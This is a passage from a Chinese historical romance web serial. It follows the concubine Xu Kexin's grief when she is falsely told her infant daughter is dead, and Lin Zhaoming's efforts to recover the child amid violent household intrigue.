男人眉眼温和,面容冷白,唇色浅淡,乌发垂落腰背之后,松松垮垮地披着一件宽松白衣,周身气质透着无言的冷淡,远远望去,同隐士仙人似的。 钱管家摸了摸自己粗糙的手背,他自小长相平凡,也未体会过面似神仙的滋味,但既然大人忧虑自己的容貌,那应该就是有值得忧虑的地方罢…… 毕竟徐姨娘长得也漂亮,面容姣好,同仙女似的,说不定也喜欢容貌俊美的。 两人差了一轮,等再过了十年,大人容颜不复,而徐姨娘正是貌美之际,老夫少妻站在一起,大人有所顾虑也不足为奇。 想是这么想,话出口时,钱管家却拱手毕恭毕敬道,“大人,徐姨娘并非在意容貌的肤浅之人。” 男人手持铜镜,垂眸看着眼尾处几不可察的细纹,过了半晌,才道,“她不在意本官的容貌,可本官在意。” “不过她的确心悦本官,只喜欢本官一人,可心这般喜欢本官,本官该拿她如何是好……” 钱管家本想安慰男人几句,闻言终于听出几分不对劲了,面色古怪地偷偷看了男人一眼。 不知为何,他总感觉大人好似在炫耀徐姨娘对他的情意。 钱管家迟疑半晌,顺着他的话小心道,“那再把人接回来了?” “罢了,本官并非强占良女的市井流氓,也做不出囚禁之事,只让可心离府一段时日,好认清自己的心。” 男人手持铜镜,负手而立,句句为了徐姨娘考虑,好似一个豁达的正人君子。 真正要放手的人,哪里会想到将人囚禁起来,钱管家紧抿着唇,闻言也没敢说什么。 大人说认清就认清罢,不过他方才可亲眼瞧见,二少爷对徐姨娘那可是百依百顺,别等到时候徐姨娘真和二少爷跑了,再把人打断腿捆回身边,那可就为时已晚了…… 钱管家躬着腰,见男人仍站在那里思绪万千,摸了摸自己的粗手,蹑手蹑脚离了书房。 他是个下人,还未娶妻,搞不懂主子们到底在想什么,不过大人这样做,一定有他的道理,想起白日小桃送了冒着油花的鸡汤给他,钱管家摸了摸怀里的簪子,向正院跑去。 徐可心刚离府,各院就得了动静。 好似知晓自己娘亲离开了,青姝趴在嬷嬷怀里,肿着眼睛哭得泣不成声,从被送来那日起,她就一直在哭,甚至未喝几口奶。 丫鬟们怕扰到夫人休息,只能用帕子死死堵住她的嘴,还是小桃看不过去,派人去听雨阁寻了几件她娘亲的旧衣,将人抱在怀里哄了良久,才堪堪让她安分下来。 小桃见状,命乳母过来给她喂奶。 “那孽女今日为何不哭了?” 里室,大夫人枕着头,眉眼疲惫,眼也不抬问。 “方才命人寻了她娘亲的旧衣过来,以为娘亲在身边,就不哭了。”小桃端着茶壶,闻言轻声道。 大夫人抬眸,看着杯中茶水,良久后才道,“将她抱过来。” 乳母得了命令,抱着小孩缓步走进,小孩哭了数日,早就累得没了精神,刚喝饱了奶就沉沉睡去,粉白的小手紧攥她娘亲的衣裳,双唇微张,好似在唤什么。 大夫人冷眼看着女婴的面容,良久后伸手,将其抱在怀里,抬手抚着青姝的脸,无声看了半晌,忽得意味不明道,“若你是我女儿,我早就掐死你了。” “不过你这孽女,倒是生了一副好容貌,同他极为相似,”也和早年被埋在雪地里的那个死婴长得极为相似。 大夫人抬手,抚上女婴的脖颈,不断合拢手指…… 早知道这女婴长了这张令人厌恶的脸,她就应该在她还未生下时,就让她胎死腹中,又怎会留她到现在。 “夫人,二姨娘前来拜访,正在门外侯着。”丫鬟进门传话。 大夫人闻言,将手中面色青白的女婴交给乳母,令她带下去,咬牙冷声道,“我不去寻她,她倒主动上门了……” 门外,二姨娘得了传唤,不紧不慢走入房中,还未等同女人行礼,就被两个身强力壮的嬷嬷压在地上,一巴掌直接重重落在她脸上,她被打得头歪到一旁,直接垂了下去。 饶是唇角流血,她只垂着眉眼,轻声问,“夫人这是何意?” “你问我何意?我还想问你,通奸之人为何是怀瑾?”大夫人紧攥扶手,声音几近颤抖。 这人那日分明告诉她,会寻一人诬陷徐可心通奸,让大人彻底舍弃此人,可她哪里想过,那颗弃子不是旁人,而是她的长子。 二姨娘闻言,看着地面,只平声道,“徐可心过去是首辅千金,眼高于顶,平日里不说什么,但实则骨头还硬着,怎会看得起府中的下人。” “除了长公子,妾身想不到还有谁更适合当这枚弃子,更何况大人并未因此迁怒长公子,徐可心既已离府,我们二人的目的也已达到,妾身想不明白夫人还在纠结什么。” 林怀瑾不是她儿子,她自然不在意。 听完她的一番事不关己的话,大夫人险些被她气过去,冷眼看着她,问她今日为何前来。 二姨娘被压在地上,闻言轻声道,“妾身今日前来,不为旁的,只是履行承诺,将长小姐送回徐姨娘身边,还请夫人将其交给妾身。” 她们二人那日已经商议好,用她女儿的安危逼徐可心离开。 如今徐可心既然已经乖乖离开,也不再是大人的妾室,往后无大人给她撑腰,这人就算有心调查当年一事,也掀不起什么风浪。 想起徐可心那日同她下跪的情景,她也不想再用这人的女儿为难她,只前来将其送回给徐可心。 更何况长小姐一直留在府中,说不定哪日大人见了这孩子,想起徐可心,再将人寻回来,那她们可就白费功夫了…… 二姨娘跪在地上,以为女人会立刻将孩子交给她,谁知待她说完,大夫人攥着茶杯,淡声道,“既然你为那孩子上门,怕是白走一趟了。” 二姨娘眸色一怔,未明白她的意思,方要追问,却听女人语气没有起伏道,“那孽女已经死了。” 话落,二姨娘骤然抬眸,浑身血液冷凝,不可置信道,“夫人为何杀她?” 徐念安身在宫中,她们的手难以伸到陛下身边。 没有小妹在身边,如今徐可心的软肋只有她的宝贝女儿,若她知晓青姝死了,依她的性子,怕是不会轻易罢休,说不定还会为了她女儿报复她们。 她刚入府时,大人就不在意她官妓的身份,待她生女后,更是对她百般纵容,哪怕她三番两次同府上公子有染,大人也未想过将她赶走,甚至还准她嫁给长公子。 这女人还未发现,徐可心于大人而言是特殊的。 徐家一事牵扯众多,大人如今仍未表露出帮徐可心调查的意思,可若徐可心求大人为其女儿报仇,她李舒怕是第一个被拉出去砍头。 二姨娘紧咬着牙,素来平静的眸子也露出几分慌乱,她紧攥着衣摆,直直看着坐在她身前面色从容的女人。 这个蠢货…… 第102章 京郊宅院。 临近秋日,院内格外萧条,青黄交接的枯叶纷纷落在湖面上,堆积在残荷身侧,几只红鲤咬着枯叶残枝,追逐跃动。 岸边脚步声起,“把那里清扫干净了,再按单子备好点心在亭中,将前几日送来的新茶煮好,放在石桌上,只等夫人寻了兴致想要游园,走至各处亭中都可立即歇息。” “等下派人去京中寻各色花灯回来,挂满院中,勿要留下暗处。” “还有琴房那里,命府上的琴师伺候好那十二把琴,每天仔细保养着,别等夫人想要抚琴时,琴弦坏了,亦或蒙了灰……” 自从女人入门后,一众丫鬟小厮都匆匆忙碌起来,按照少爷交代的事情,将这宅院复又仔仔细细装饰打扫一番。 厢房。 女人坐在桌案前,看着一众丫鬟捧着各色衣裳站在她面前,小心问她,可要梳妆更衣。 一旁的梳妆台上,堆满了各色首饰,里面的抽屉里也早就被首饰装满。 绫罗绸缎堆积在角落,落在上面的山川花鸟栩栩如生,只随意看了一眼,就知晓此物昂贵不俗。 林昭明这人素来不懂布料首饰,也没什么情趣,他只像纨绔子弟一般,令人寻贵的回来。 这就导致,整个宅院雅致脱俗,单她房中俗气至极,处处被美物占据,同整个宅院格格不入,很难不令人想到金屋藏娇四字。 徐可心攥着茶杯,看着屋内乌泱泱的下人,忽觉胸口格外闷,只留下那日伺候她的哑女,命其他人退下。 她坐在梳妆镜前,随手拿起一个雕花金步摇,看着垂下的珠玉,轻轻摇动,沉闷的脆响霎时在手中响起。 哑女站在她身后,缓缓细致地为她梳头。 脚步声从门外响起,铜镜中,哑女朝门外微微行礼,退到一旁。 清雅的香气随着脚步靠近,身着朝服的男人站在她身后,拿过哑女手中的木梳,骨节分明的手抚上她的头发,细致地为她梳头。 男人身形颀长,铜镜难以照到他的容颜,只能看到他冷峻的下颌。 徐可心坐在梳妆台前,复又摇了一下手中的步摇。 珠链再次撞到一起,微微摇曳…… 见她一直轻轻摇动手中步摇,哑女以为她想要戴在头上,伸手想要接过,临到半空被男人拦下。 “她只喜欢听个响。”男人说。 哑女闻言,向后退了一步。 徐可心垂眸看着手中的步摇,忽得失了兴致,放回匣中。 “晚些我会离府。”她说。 二姨娘昨日送信给她,令她前去城中一处茶馆,只交代了地方,却一字未提青姝。 隐隐的不安压在心口,令她胸口发闷。 “我送你过去。” 男人捡起桌案上的一个金簪子,勾着她的长发,极为熟练地将她的长发挽起,复又捡起一串吊着玉牌的珠链,佩戴在她的脖颈上。 男人专注着手上的动作,也未问她前去何处,亦或见谁。 自她入了林府后,自知势微,处处小心谨慎,鲜少涂粉点唇,只顶着一张极为素寡的脸见人。 眼下男人俯身,走至她身前,冷白的长指扶着她的下颌,用青黛轻轻为她染眉,只将指腹擦拭干净,又用淡红色口脂细致地涂抹她的唇。 男人站在她面前,垂着眉眼,唇不自觉抿起,专心为她乔装打扮。 旁人都知晓林二公子武艺高强,能舞动校场的长棍大刀,但无人知晓,林二公子极为擅长施朱点妆。 徐可心微微仰着头,看着近在咫尺的男人的面容,任由粗粝的指腹抚过她的唇。 少时这人的指腹上还没有这般厚重的硬茧,数年过去,他的指腹已经变得极为粗粝,饶是压着手上的力气,万般细致地为她涂抹口脂,指腹磨过唇瓣时,依旧疼得她微微蹙眉。 “娇气。” 男人垂着眉眼,随口斥责一句,手上力气却复又松了些许。 临近秋日,院中阴云密布,只等下了最后一场炽热的夏雨,就入了凉薄的秋。 京中茶馆。 几个官员书生坐在楼下,手持书画细细交谈,说书先生坐在幕帘之后,拿着惊堂木重重一拍,砰的一声,众人的视线一齐看了过去。 讲的无非是一些英雄好汉才子佳人的故事,众人听个热闹,倒也格外解闷。 马车在茶馆外停下,身着黑衣的男人先下了马车,小心地扶着马车内的女人。 纤白素指放在男人宽大的手心内,被他揽腰抱下马车,虽头戴面巾,令人看不清她的真容,但光看这人华贵的衣着,就知晓此人身份尊贵,应是京中哪家的小姐。 众人抬眸看去,有心窥探她面巾下的真容,等对上一旁林二公子冷厉的目光时,一群人纷纷垂下头,未敢再看女人。 他们身份卑微,可不敢招惹这个混不吝。 虽说京中官员无数,权贵公子众多,也有横行跋扈令人畏惧的人,但同林二公子相比,还是不够看。 这位已经顶天了,说是横着走也不为过。 还好这人还算讲理,不主动跑到他面前找不自在,林二公子也无暇理会他们这帮不入流的官员公子。 二楼雅间。 李舒早就在里面等候,待房门被推开,她看着走入雅间摘下面巾的女人,端起茶杯的手停在半空。 只见女人衣着华贵,头戴金玉,平日里极为素净的面庞此时描着极为精雅的妆容。 她本就长得漂亮,眉间的青黛和唇间的红脂更衬得她肤色白皙,面容精致。 李舒初见她时,就暗暗艳羡这人的长相和身份,嫉妒这人把京中一众贵女衬得像路边灰尘一般,如今再度看她这副模样,她还是忍不住在内心惊叹这人的容颜。 李舒只坐在那里,忽觉自己的衣着格外素气寡淡,好似城中教书的夫子一般,透着老气横秋的意味。 徐可心不知她心中所想,只走至她身前,轻轻唤了一声姨娘,环视四周寻找青姝。 未寻到女儿的身影,徐可心微微蹙眉,看向坐在一旁的女人,“姨娘 ,青姝身在何处?” 她已如约离府,这人也应将青姝交给她。 话音刚落,女人攥着茶杯的手指不自觉用力,心间的万般思绪也骤然褪去,强压下心中不安,缓声道,“徐小姐,我有一事想要告知你。” 女人的声音很钝很慢,好似一把锈刀,缓缓抬起,落在她的腹部上。 莫名的不安再次蔓延在心头,徐可心紧紧盯着女人,等她的下言。 二姨娘深呼一口气,半晌才道,“长小姐她……” “已经死了。” 轻飘飘的一句话落地,连带着徐可心的心也直直下坠,她只愣神一瞬,就慌乱道,“如何会这样?” 分明青姝被带走时还趴在她怀里,紧紧环着她的脖颈,怎会突然死去。 徐可心霎时上前一步,声音颤抖道,“你在骗我是不是?你还想要我做什么,我答应你就是了!你只将青姝还我!” 她素来缓着声音讲话,眼下话语陡然尖锐,几乎喊出来一般。 二姨娘紧攥茶杯,不想受大夫人牵连,对上女人几近崩溃的目光,忙不迭将她推了出去,“是夫人杀了长小姐!” “我已命人调查过,过去她也生有一女,府中的老人说,长小姐同她女儿长得极为相似,恐她嫉妒你的女儿尚且活在人世,才痛下杀手。” 二姨娘紧攥袖子,饶是心跳鼓动如雷,依旧维持面上的平静。 说到此处,她直接屈膝跪在地上,仰头卑怯道,“我真得未料到夫人会杀了长小姐,我的确想要将你的女儿还给你!” “你有所不知,是她胁迫我做事,令我逼你离府,用你女儿性命要挟你的法子也是她想出来的!” “你也知道,我身份卑微,在府中身不由己,只能为她做事,但我如何想过,她会杀了长小姐。” “她令我瞒下此事,再用女儿胁迫你,逼你离京,可人心都是肉长的,我不忍心再骗你,才前来将此事告知于你。” 二姨娘捂着心口,仰头急声道。 徐可心站在原地,浑身颤抖不停,垂在身侧的手紧紧攥着袖子,指尖深深陷进皮肉里,也难以令她分神。 青姝死了,她还不足百岁,尚且是个稚童…… 大脑忽得一片空白,泪水倏地从眼尾滑下,大滴大滴地落在衣上,濡湿一圈水渍。 她扶着桌案,整个人面容僵硬,只失了魂似的,想要哭,但发觉喉咙干涩,根本发不出声音。 “冤有头债有主!她只在乎两位公子,旁人肚子里的孩子是长不大的!” 二姨娘膝行到她身前,紧紧攥着她衣摆,哭着陈述道。 三姨娘那日离府时的话复又面前浮现,徐可心怔愣地看着虚空,浑身血液冷凝。 屋外阴云密布,茶馆内也暗了下来,只听轰隆一道雷声,倾盆大雨从天落下。 雨点大颗大颗落在地上,同脏污混杂在一起,溅在男人的衣摆。 林昭明手持纸伞守在茶馆外,眼见落了雨,女人还迟迟未出来,他方要进去寻她,却见女人面色苍白,不顾屋外大雨,直接走了出去。 整个人身子僵硬,好似失了魂一般,险些跌倒在地。 林昭明微微皱眉,先一步上前,将人紧紧揽在怀里,抱进马车中,令车夫驾车。 车厢内只有他们二人,还未等林昭明问询,女人就没有征兆地痛哭起来,整个人哭得浑身颤抖,撕心裂肺的,好似要把心吐出来一般。 林昭明何时见她露出过这副神情,下意识追问,“方才发生何事?” 徐可心埋首在他怀里,紧紧攥着他的衣裳,声音哽咽至极,一字一句喃声道,“青姝死了。” 她的青姝死了。 一开始林昭明未敢相信她口中的话,等复又听女人喃声一句后,他的心也骤然沉入谷底。 他比谁都清楚,徐可心多在乎她的女儿,如今青姝竟然死了…… 听着怀中女人压抑的哭声,林昭明面色紧绷,只觉心跳漏停一瞬。 他紧紧扣着女人的脖颈,很快回神,见她独自一人,未抱着她女儿的尸体,林昭明揽着她的腰背,将她压在怀里,贴着她耳侧低声道,“你先别哭,还未见到尸体,等下我派人回府察看一番。” 徐可心趴在他怀里,听完他的话,哭声终于稍稍安静些许,嗓音哽咽,“一定要找到青姝。” “哪怕是尸体,也要将她带回来……” 林昭明抚着女人满是泪痕的脸,不断擦拭她脸上的泪,低头不断安抚地吻她的头发,闻言不断应承,低声道,“别怕,我一定会找到她,将她带回来。” 他的声音格外郑重,透着极为笃定的意味,徐可心本颤抖的心终于安定些许,只埋首在他怀里小声哭着,令他一定要将青姝带回来…… 第103章 女人埋首在他怀里,哭了一路,临到下马车时,也未停止。 马车外的雨声很大,雷声也很响,可林昭明只能听到怀中人细碎的哭声。 女人哭得很伤心,见她双眸愈发肿胀,林昭明的心也不好受。 他希望这人依赖他,可只想让徐可心知道,出了什么事可以寻他,而非真得想看她受挫,哭得浑身颤抖不停,天塌了似的。 林昭明攥着怀中女人的肩膀,根本不敢松开手,生怕这人想不开跳了马车,寻她女儿去,只不断在她耳边轻语哄着,安抚地吻着她的头发。 回了宅院,林昭明将人抱在床上,坐在床边紧紧攥着女人的手,唤下人过来,命他回府探个究竟。 下人迟迟不归,徐可心埋首在枕间,哪怕哭得头昏,也不愿阖上眼皮,只攥着那虚无缥缈的希望,祈求她女儿平安无事。 林昭明坐在床前,垂着眉眼,看着她这副模样,忽得想起那日前去抄家的官员讲过,徐夫人知晓徐大人死后,也挂了白绫,同徐大人去了,而徐长小姐守在房内,抱着她娘的尸体一直不愿离开。 她的女儿从她肚子爬出来,还不到百日,就让她哭得这般难过,而那日她亲眼看见母亲悬于梁下…… 胸膛忽得极为沉闷,林昭明面色紧绷,紧攥女人的手不自觉微微用力。 那时他刚同这人退婚,这人最崩溃的时候,最需要依靠的时候,他却不在徐可心身侧,还在同徐可心置气,等她同过去那般主动来寻自己…… 之后三年,他也没敢前去教坊司寻徐可心,他以为自己恨她,把一切罪责推到徐可心身上。 可如今想来,只是他太懦弱了,不敢去见徐可心,也不敢面对她彻底失望的目光,心脏隐隐抽痛,好似有刀落在上面一样。 他总说徐可心太过软弱,在母亲死后,她一个养尊处优的官家小姐,却将小妹照顾得很好,又将小妹带了出来,总是向前走,从未逃避。她只是像个敏感的兔子一样,为了活着蜷缩在窝内,又为了她的双亲,从窝中跳了出来,哪怕洞外群蛇盘踞。 而他林昭明甚至没有面对她的勇气,只能像个行尸走肉,既不知道如何活着,也舍不得去死,仍幻想着一切恢复如初。 他才是一个彻头彻尾的懦夫。 软弱的人也从来不是徐可心,而是他林昭明。 他看着埋首在枕中哭得泣不成声的女人,想要说什么,却发觉什么都说不出来。 她徐家出事时,他躲了起来,这次她女儿有事,他却不想看徐可心继续哭下去了。 他见不得这人哭,也见不得这人落泪。 小厮一直不回来,他却等不下去了。 林昭明起身,抚着女人满是泪痕的脸,低头吻上她的眉心,低声道,“等我回来。” 话落,他命几个丫鬟进来,守在女人身侧,自己则撑伞,走进倾盆大雨中。 夏秋之际,落叶枯黄,悬吊在枝杈上,被豆大的雨点拍落在地,雨打风霜,不见天光。 京城外,几辆马车悠悠慢行,越过城门,行至林府门前。 身着白衣的男人紧攥披风,下了马车,一旁的小厮早就撑伞等在一旁,见状忙不迭上前,遮住落下的雨,护送男人向府中走去。 男人低咳一声,笑着说了声多谢。 看着男人面上温和的笑容,小厮微微颔首,未敢因男人平易近人的面色而放松警惕,只谨慎地为他撑伞,小心伺候着。 谁不知道,他见人三分笑,却是个记仇的,睚眦必报。 过去府上有个小厮,是个嘴不把门的,同旁的下人唤了他一声病秧子,不知道怎么的,就传到了这人耳中。 白日里这人听闻时,只笑着说无事,等到了夜里,侍卫巡逻时,在后园听到一阵呜咽声,他们点着灯笼前去察看,却被吓得屁滚尿流。 却见那个小厮被砍断四 肢做成了人彘,装进了罐子里,舌头也被人割掉了…… 老夫人知晓此事,不仅未派人调查,反而压了下来,只令府中的下人看好自己的嘴。 老夫人和二少爷的亲生母亲是孪生姐妹,一齐嫁进林家,他母亲生他时难产而死,林二叔公又是个不中用的草包,老夫人就将林远山接到自己身边养着。 念及他是个早产儿,体弱多病,老夫人只把全部心力全都放在他身上,甚至无暇顾及大人,待大人入朝为官,老夫人还令大人为林远山在朝中谋个官位,随便一个官职还不行,必须清闲自在,官职高俸禄多的。 老夫人想让此人一生富贵无虞,他却不安于做个闲人,自从入朝为官后,不断同旁的大臣往来,甚至结交素来对他长兄颇有微词的大臣。 老夫人看在眼里,只睁一只眼闭一只眼,不仅未阻止,反而令自己的亲儿子为其铺路,不知道的还以为林二叔才是老夫人的亲儿子。 大人行事素来强硬,却是个孝心的,只应承老夫人的命令,鲜少违背,而他的两个儿子,林长公子和林二公子受其影响,也对家中长辈极为恭敬。 哪怕再犯浑,见到家中长辈也毕恭毕敬俯身行礼,不曾怠慢半分。 男人方下了马车,府中就得了消息,书房那里未传出什么动静,反倒是正院那里,大夫人紧攥着帕子,焦急地走来走去。 她有心前去,但碍于身份,又没有理由前去,只能等书房那人的命令。 小桃垂着眉眼,见状为她倒了一杯茶,让她顺顺气。 屋外雨声不停,匆忙的脚步声忽得从院外传来,未等下人传唤,身着黑衣的男人迈着大步走了进来。 大夫人脚步一顿,抬眼看去,却见小儿子冒着大雨前来,她勉强压下心中的躁动,尽量平复语气问,“昭明回来了。” 林昭明同她行礼唤了声母亲,随后未再多言,也未说为何回来,只在院中四处寻找什么。 大夫人很快察觉到不对,站在门前,看他在院中四处开门。 直到他闯进那孽女的房中时,大夫人才眸色一怔,不顾门外大雨,直接走了过去,“昭明要做何事?” 见她走进雨里,小桃忙不迭打伞跟在她身侧,“雨太大了,夫人小心脚下。” 林昭明闯进房中,未理会身后女人的呼唤,只向里室走去,馥郁的奶香在房中蔓延,却见乳母坐在床上,抱着怀中面色苍白的女婴轻声哄慰,见他冒雨闯进,乳母下意识起身行礼,“二少爷。” 目光落在她怀中女婴脸上,很快分辨出她尚且活着,林昭明来时一直提起的心骤然一松,他大步上前,也未多解释,直接将女婴抱了过来。 乳母站在原地,有心阻拦,又不敢惹他不快,只小心道,“二公子,夫人说了,不得令旁人见长小姐。” 林昭明眼也未抬,甚至未看乳母一眼,只抱着女婴,执伞大步向门外走去。 大夫人站在门前,见状直接拦在他身前,冷声道,“你要带她去哪里?” “她娘亲惦念她,我只将她送回去。”林昭明随口说完,越过大夫人走进雨中。 “昭明!你放下她!”大夫人急声斥责。 那人已经回府了,只等见面后,她就将这孽女带到那人身边,让那人原谅她,眼下林昭明将人带走,她又能从哪里寻来一个女婴。 林昭明脚步一顿,转身微微皱眉,面色不解,“母亲,青姝并非你的女儿,将她送入你院中也是父亲的意思,你又为何留下她?” 大夫人面色紧绷,闻言快步上前,只道,“你只把她放下,不得带她离开。” 忽得想到下人说,徐可心离府后被他带走了,霎时明白他此番举动是为了谁,大夫人气急,“你真是被那狐媚子迷了心智,不知道自己是谁了!” 她出言斥责,林昭明站在原地,只以为她顾及父亲,才前来阻拦,“母亲,若父亲责怪下来,只说青姝是我带走的。” 挂念宅院中的女人,林昭明未再多言,复又转身向院外走去,可还未等出门,却同来人迎面撞上。 男人身着白衣,手执纸伞,手指纤瘦细长宛若枯骨,面色惨白,好似从地里爬出来的阴鬼一般。 四目对视,男人面上露出一个很轻的笑,温声道,“数年不见,昭明如今也已长大成人。” 林昭明紧抱着怀中的女婴,看着面前久违的面容,眉头不自觉紧拧,“二叔?” 大夫人跟在他身后,本来眼中带着恼怒,在看到男人的瞬间,面色霎时怔住,也顾不得林昭明怀中的女婴,下意识道,“远山,你回来了……” 她直呼这人的名字,丝毫未意识到有何不对,言语亲昵至极,好似久别重逢的恋人。 林远山轻轻笑了笑,方要说什么,目光落在林昭明怀中的女婴上时,面上的笑意淡了些许。 过了良久,他才转过身,看向迟来一步的男人,轻声笑道,“大哥,这女婴好生面熟。” 话落,大夫人身子一僵,顺着林远山的目光看去,却见不知何时,男人站在不远处,只无声看着他们,眼底情绪意味不明。 雨声垂落,愈下愈大,却无人理会…… “昭明要将青姝带去何处?” 没有起伏的话语在雨中响起,林昭明抱着怀中的女婴,却见男人半阖眉眼,看着他怀中的女婴。 “父亲,她不能没有青姝。” 林昭明未说她是谁,但在场几人,除了林远山,都知晓他口中那人的身份。 迎着男人无声的审视,林昭明抱着女婴的手臂不自觉用力。 他未想过离开时会碰见父亲,若他悄无声息将人带走也就罢了,但眼下撞见他,林昭明不知晓这人对青姝的态度,心里又没了底…… 第104章 “只嫁给怀瑾,便将青姝归还给她。” 男人语气漠然,不带有半分情意。 林昭明咬牙,“父亲,她不想嫁,你何苦一而再再而三逼她嫁给长兄?何况林怀瑾就是个虚情假意两面三刀的畜生,如何与她般配?” “嫁人与否,由她自己定夺。” 林远舟淡淡瞥了眼随行侍卫,随后越过几人,向正院走去。 得了他的命令,侍卫犹豫上前,“二少爷,把长小姐给卑职罢。” 林昭明内心窝着火,但又知晓,如今被父亲撞见,没有他的命令,今日无论如何也难以将青姝带走,只能阴沉着脸将怀中女婴交给了侍卫,迈着大步就要离开。 刚走了几步,他又咽不下这口气,转身看向雨中男人的背影,急声道,“若非知晓她女儿死了,她又如何这般急切,想要将女儿带回身边?” “青姝是父亲的女儿,你不在意她,只把她当个无关紧要的玩意儿也就罢了,可父亲不能抓着青姝不放,分明知晓她娘亲多在乎她,还把青姝当成把柄要挟她,恕昭明直言,父亲太过不近人情了!” “说到底,父亲也根本不在意青姝,而她早就看透了你,根本不相信你能照顾好青姝,才想将青姝带回身边!” “父亲的确是个好官,但你的确不是一个好父亲!” 话落,男人脚步一顿,跟在他身后的小厮见状,忙不迭低 头。 大夫人站在一旁,闻言面色霎时慌乱,斥责道,“你这孩子得了失心疯不成!” 林昭明站在雨中,冷眼看着远处男人的背影,目光复又落在一旁的母亲身上,眼底不仅未露出半分惊恐,反而眸色愈发冰冷。 小儿子素来对她恭敬有加,何时这般看过她,大夫人话语一噎,站在原地没了声音。 其实林昭明还有一句未出口的话,但他不知如何讲,也不想讲。 反正徐可心如今已经回到他身边,他也不想深究下去,扯下林家的体面,只任由埋在光鲜皮囊下的一切继续腐烂下去,直到生蛆发虫,难以掩盖那天。 林昭明冷冷看了眼站在一旁骨瘦嶙峋的男人,执伞转身离去。 雨水落在纸伞上,顺着伞骨滑下。 林远山站在原地,看了眼身旁女人急切的面色,低咳一声,轻笑问,“方才那女婴是大哥和旁的女人的孩子?” 大夫人紧抿着唇,强压下心上的怒气,转身看向一旁的男人,无奈道,“此事说来话长,晚些我再同你讲……” 林远山复又看了眼林昭明远去的背影,若有所思。 虽知晓青姝无事,但未能把人带走,回去的路上,林昭明的心也七上八下,不知晓怎么面对那人…… 马车在京郊宅院停下,林昭明方下了马车,却见女人裹着披风站在门下,面色微微泛白。 心跳一滞,林昭明当即上前,“雨势这般大,你不守在房中,怎么出来了?” 女人的目光落在他身上,无声寻了片刻,寻找无果后,本就红肿的眸子霎时沁满泪,仰头直直看着他,“青姝呢?” 眼见她就要哭出声,林昭明慌乱抬手,抚着她的侧脸擦掉她眼尾的泪,“别哭,青姝无事,方才还趴在乳母怀中睡着。” 想到方才那人的话,林昭明低头道,“出了些差错,如今还不能将她带回,等下我命人专门照看她。” “青姝真得还活着!你未骗我!”徐可心紧攥他的衣服。 “骗你做什么?我若说了假话,天打雷轰总行了罢?” 林昭明擦掉她脸上的泪水,看了眼门前的积水,屈膝跪地,“上来,我背你回去。” 知晓女儿无事,徐可心紧绷的心弦骤然一松,她用手背擦了一下眼尾,小声道,“我自己可以走。” 林昭明低头,复又看了眼她被泥水沾污的裙摆和鞋子,仰头道,“你不上来,是想让我扛着你回去?” “……” 单听抗这个字,就知晓会受一番苦头。 徐可心看着身前宽阔的后背,想到这人冒着大雨帮她去找女儿,她犹豫半晌,微微俯身趴在男人的后背上,忧虑自己太重,害怕走到一半被他摔下来,她不自觉环紧男人的脖颈。 事实证明她多虑了。 待她上去后,男人极为容易地站起身,一手托着她的身子,一手执伞,稳步向院中走去。 徐可心环着他的脖颈,见他又背自己又执伞太过劳累,扯着他的袖子拿过他手中的伞。 林昭明看了她一眼,双手得了空,紧紧勾住她的腿弯。 雨从午后开始,一直下到现在,眼见到了黄昏,还没有收敛的意思。 伞外雨水淋落,伞内倒是莫名的安静,两人谁都未开口讲话。 徐可心枕着手臂,看着男人冷峻的侧颜,忍不住趴在他耳边小声道,“出了什么差错,为何不能将青姝带回?” 林昭明托着她的身子,闻言不轻不重攥了一下她的腿肚,头也不回道,“老东西不愿意放人。” 横竖怎么说,也不能告诉徐可心方才那人的原话,不然徐可心真为了她女儿跑回去嫁给林怀瑾,他又去哪里说理的。 “再过几日,我就将你女儿偷回来,你再等几日。” 徐可心趴在他的后背上,心里有了底,一直耷拉的眼皮终于阖上,不知不觉睡了过去。 身后人忽得没了声音,耳边只有绵长轻微的呼吸,林昭明回头看了一眼,见她阖上眼睛,眉眼疲惫,只放缓步子,走得更为沉稳。 雨声不停,泄去夏日的燥热,往常趴在墙角叫声不停的夏蝉,也早就没了声音。 “我要青姝。” “现在还不能将她带回来。” “我要女儿。” “你看我长得像不像你女儿?” “你是男人。” “那我当你儿子。” “……” 厢房内,林昭明端着一碗补汤,喂到女人唇边。 一直见不到女儿,徐可心咽不下东西,只看向一旁,脸颊紧绷。 “已经命人照看青姝了,只要寻到机会,就会将她带回来。” “你只先喝了补汤,不然等你女儿回来,你身子虚弱,没有奶水喂给她,到时别难受得来回哼唧。” 徐可心面色微红,“我何时同你说得那样……” 余下两个字,她不知怎么说出口,依男人的话,好似她是什么不讲理的稚童一般。 “现在不就在哼唧?这也不行,那也不行,成日里耍脾气。”林昭明端着汤碗,直接道。 徐可心闻言,只觉一口气堵在心口,微微蹙眉,掀起被子蒙住了脑袋,闷声道,“你走!我不要你喂!” 林昭明端着汤碗,看着躲在被中的女人,放下补汤,抬手扯住被子边沿,“这又哪来的火?” 他攥着被子,怕把人惹急了,未敢用力拽,只俯下身低声哄着。 过了良久,眼见女人露在外面的半边侧颜愈发红润,害怕她呼吸不畅闷晕过去,林昭明俯下身,单手撑在她身侧,半边身子笼罩着她,低声道,“祖宗,你只乖乖用膳,我就多派几个人手照顾你女儿,早日将她从府中带走。” 话落,一直埋首在被中生闷气的女人探出半个头,只露着一双红肿的眸子,眨也不眨,直直盯着他看,闷声含糊道,“这是你说的……” “眼下只有你我二人,自然是我说的。”他说。 徐可心无声看了他半晌,终于坐起身,微微张唇,咽下他喂到唇边的补汤。 她缓慢咀嚼着口中的鱼肉,抬眸看了眼身侧的男人,却见男人手执汤碗,垂着眉眼,也未嫌弃她吃得太慢,只专心坐在一旁看她用膳。 同重逢那时相比,这人眼下对她的态度好了太多,甚至比少时那会儿对她更有耐心,虽说眉眼间时常露出不耐,但也未出言斥责什么,仍小心照顾她,好似她是什么易碎的花瓶一般。 徐可心咽下半碗补汤,还未等吃完,胸前隐隐酸胀,她微微蹙眉,看了眼身侧的男人,“你出去!” 林昭明挑眉,“刚咽下我的东西,吃饱了就赶我走,徐可心,你还真懂得如何卸磨杀驴。” 双胸涨得难受,她又只穿了一件里衣,眼见衣裳被水渍微微渗透,她慌乱抬手,推着男人的肩膀,赶他离开。 “你快走!我要入寝了!” “知道了。” 林昭明站起身,捡起桌案上的汤碗,转身向门外走去。 只等门一阖上,徐可心就忙不迭褪下外衣,交叠放在自己腿上,抚上自己胀疼的双胸。 过去大人陪在她身侧,难受的时候,也都是大人帮她通乳,她早就被养惯了,手上动作格外生疏,疼得眼泪微微沁出,时不时发出抽泣声。 一门之隔,林昭明手持汤碗站在门外,背靠着门。 